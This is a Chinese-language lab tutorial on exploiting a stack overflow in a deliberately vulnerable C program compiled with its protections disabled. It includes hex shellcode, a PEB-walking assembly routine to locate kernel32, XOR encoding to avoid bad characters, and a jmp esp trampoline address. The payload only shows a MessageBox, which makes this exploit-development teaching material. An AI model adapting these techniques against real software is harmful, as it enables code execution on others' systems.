栈结构
实验环境
编译器 |
VS2022 |
编译选项 |
1、属性->C/C++->常规->SDL检查(否 (/sdl-)). 2、属性->C/C++->代码生成->安全检查(禁用安全检查 (/GS-)). 3、属性->链接器->高级->随机基址(否 (/DYNAMICBASE:NO)) 4、属性->链接器->高级->数据执行保护(DEP)(否 (/NXCOMPAT:NO)) |
build版本 |
x86 Release |
实验例子
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
|
#include <stdio.h>
#include <windows.H>
int main(int argc, char* argv[])
{
char szBuf[8];
FILE* fp = NULL;
fp = fopen("pwd.txt", "r+");
fscanf(fp, "%s", szBuf);
if (strcmp(szBuf, "Hello") == 0)
{
printf("ok\r\n");
}
else
{
printf("error\r\n");
}
fclose(fp);
return 0;
}
|
漏洞利用
上述代码中fscanf没有长度检查,所以会造成栈溢出,可以被我们利用.
修改函数返回地址
我们在x64Dbg中定位到fscanf函数.
现在我们想让Main函数执行完后,在返回地址的下个单元即0x19FF34这个地方执行我们的代码,我们需要构造下fscanf读的文件内容.
执行我们自己的代码
现在我们来让这个程序弹个MessageBox.
- 改善环境,增大我们写代码的空间
1
|
72 00 6C 6C 6F 00 00 00 74 FF 19 00 34 FF 19 00 8B DC 81 EC 00 02 00 00 8D 43 F0 50 50 B8 A0 7B E2 76 FF D0 8D 5C 24 08 53 68 1C 21 40 00 50 B8 50 10 40 00 FF D0 FF E3
|
- 我们在r文件中填写内容
上面开辟的空间就是r文件的大小,0x200字节.
弹MessageBox的话,我们通过GetProcAddr(hUser32,“MessageBoxA”)拿函数地址,但hUser32需要通过LoadLibraryA(“user32.dll”)得到.又LoadLibraryA这个函数需要通过GetProcAddr(hKernel32,“LoadLibraryA”)拿函数地址,但hKernel32需要通过LoadLibraryA(“kernel32.dll”)得到,这就陷入了一个循环.但我们可以通过teb结构得到Kernel32的句柄.
1
2
3
4
5
6
7
8
9
10
11
|
GetKernelBase proc
assume fs : nothing
mov eax, fs:[18h]
mov eax, [eax + 30h] ;指向PEB结构
mov eax, [eax + 0ch] ;指向LDR Ptr32 _PEB_LDR_DATA
mov eax, [eax + 0ch] ;指向InLoadOrderModuleList _LIST_ENTRY
mov eax, [eax] ;移动_LIST_ENTRY
mov eax, [eax] ;指向Kernel32
mov eax, [eax + 18h] ;指向DllBase
ret
GetKernelBase endp
|
- 在r文件中准备函数和字符串.
1
|
558BEC5653578B750803763C8D76788B360375088B450C250000FFFF0BC075168B450C2B46103B4614766D33C05F5B5EC9C20800EB628B450C8B5E20035D0833C9EB388B3C8B037D085157568BF7B000B9FFFFFFFFF2AEF7D18BFE8B750CF3A68A46FF3A47FF750433C0EB051BC0D1E0405E5F590BC07502EB06413B4E1872C33B4E18720933C05F5B5EC9C208008B5E24035D080FB7044B8B5E1C035D088B04830BC0750933C05F5B5EC9C208000345085F5B5EC9C2080064A1180000008B40308B400C8B400C8B008B008B4018C3904C6F61644C69627261727941004D657373616765426F78410048656C6C6F576F726C6421007573657233322E646C6C00
|
但是这里有个问题,fscanf遇到特定字符就会截断,如0d,0a,0c,0b,20这样的内容,我们需要做个工具,对这些内容进行加密,加密后不允许出现上述字符,如异或加密,我们需要找个一个异或值,使其我们的内容异或后没有敏感字符.
- 获取异或值.
- 异或加密.
用Winhex将r文件中的函数和字符串用此异或值进行加密.
- 开始写代码.
注意:我们写的代码二进制中不能有敏感字符.
1
|
8D B3 00 01 00 00 B9 00 01 00 00 80 74 31 FF 85 E2 F9 8D 83 B8 01 00 00 FF D0 8D 8B D0 01 00 00 51 50 8D 83 00 01 00 00 FF D0 8D 8B F5 01 00 00 51 FF D0 8D 8B DD 01 00 00 51 50 8D 83 00 01 00 00 FF D0 6A 00 8D 8B F5 01 00 00 51 8D 8B E9 01 00 00 51 6A 00 FF D0 E8 A0 88 A6 76
|
将上述二进制数据存到r文件开始即可.
- 成果展示.
注意
如果换个电脑环境,上述程序就运行不起来了,因为我们写了绝对地址.
其中调用方栈位置的数据我们可以随便填,返回地址的地方我们可以找一个跳板地址,里面指令是FFE4(jmp esp),或者是其他的如jmp eax等,这样的话,我们就可以缓解环境问题.
通用跳板:0x7FFA4512(里面指令是FFE4(jmp esp),Win2000,Xp,Win10均可使用.